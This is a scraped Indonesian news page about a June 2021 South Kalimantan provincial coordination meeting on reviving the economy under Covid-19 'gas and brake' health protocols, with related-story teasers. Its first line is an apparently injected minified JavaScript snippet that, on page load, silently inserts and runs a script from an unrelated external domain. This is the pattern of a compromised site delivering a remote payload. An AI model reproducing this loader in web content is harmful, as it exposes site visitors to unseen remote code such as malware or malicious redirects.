(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Pandemi Covid-19 hampir melumpuhkan seluruh kegiatan yang ada di seluruh Indonesia, khususnya ekonomi, tak luput di Provinsi Kalimantan Selatan.
Berdasarkan perkiraan di tahun 2021, ekonomi Indonesia akan kembali tumbuh pada angka 5,3%. Kebijakan yang perlu diterapkan oleh Pemprov Kalsel guna menyesuaikan diri terhadap fase perkembangan pemulihan pandemi.
Rapat koordinasi (Rakor) digelar Pemprov Kalsel upaya pengendalian Covid-19 dalam bidang usaha perekonomian bersama Bupati/Wali Kota, Sekda se Kalsel, Rabu (16/6/2021).
Rakor dipimpin Pj Gubernur Kalsel Safrizal ZA bersama Sekdaprov Kalsel Roy Rizali Anwar, Ketua DPRD Kalsel H Supian HK, Kapolda Kalsel Irjen Pol Rikwanto, dan Danrem 101 Antasari.
Pj Gubernur Kalsel Safrizal ZA mengatakan, seluruh pemerintah daerah harus punya cara bagaimana menggerakkan peningkatan ekonomi tanpa mengabaikan Covid-19 di Kalimantan Selatan. Upaya ini agar meningkatkan perekonomian di Provinsi Kalsel agar lebih baik.
“Kita mendorong dan meningkatkan perekonomian, tapi tetap mempedomani protokol kesehatan, dengan cara gas rem protokol kesehatan,” ucap Pj Gubernur Kalsel.
Dilain pihak, Sekdaprov Kalsel Roy Rizali Anwar menyampaikan, pemerintah menginginkan dunia usaha dapat segera bangkit saat pandemi, dengan tetap menerapkan protokol kesehatan.
Sekdako Banjarbaru Said Abdullah setelah rapat koordinasi penanganan Covid-19 dalam rangka mendorong pertumbuhan ekonomi mengatakan, konsep sekarang adalah gas dan rem.
Baca juga: IMI Kalsel Gelar Vaksinasi Massal, Target 1.000 Orang Warga Umum
“Artinya ada saatnya kita ngegas dan ada saatnya kita ngerem. Intinya ekonomi yang sekarang negatif ini diusahakan menuju positif,” katanya.
“Jadi ekonomi kita cepat tumbuh dan semua aktivitas masyarakat bisa berjalan tetapi protokol kesehatan tetap dijalankan,” ungkapnya.
Secara tegas telah disampaikan Kapolda Kalsel, kepada semua pemerintah daerah jangan sampai ada acara perkawinan atau acara-acara lainnya dibubarkan. “Itu tidak diinginkan, dan jangan sampai terjadi seperti itu,” kata Sekdako Banjarbaru.
Dimana Satgas Covid-19 harus hadir sebelumnya, merekomendasikan dan hadir saat penyelenggaraan acara mengawasi pelaksanaan kegiatan tersebut. Agar sesuai dengan protokol kesehatan, sehingga semua bisa berjalan dan aktivitas ekonomi akan tumbuh. (kanalkalimantan.com/dewi)
Reporter : dewi
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Nasib Tugu Adipura yang menjadi salah satu ikon Ibu Kota Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM - Kabar bahagia untuk nasabah BRI dan pengguna aplikasi mobile banking BRImo. Saat ini,… Read More
Terancam Tak Bisa Dilewati Jemaah Haul ke-20 Sekumpul Read More
Dispersip Kalsel Musnahkan Arsip Tiga Instansi Read More
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
This website uses cookies.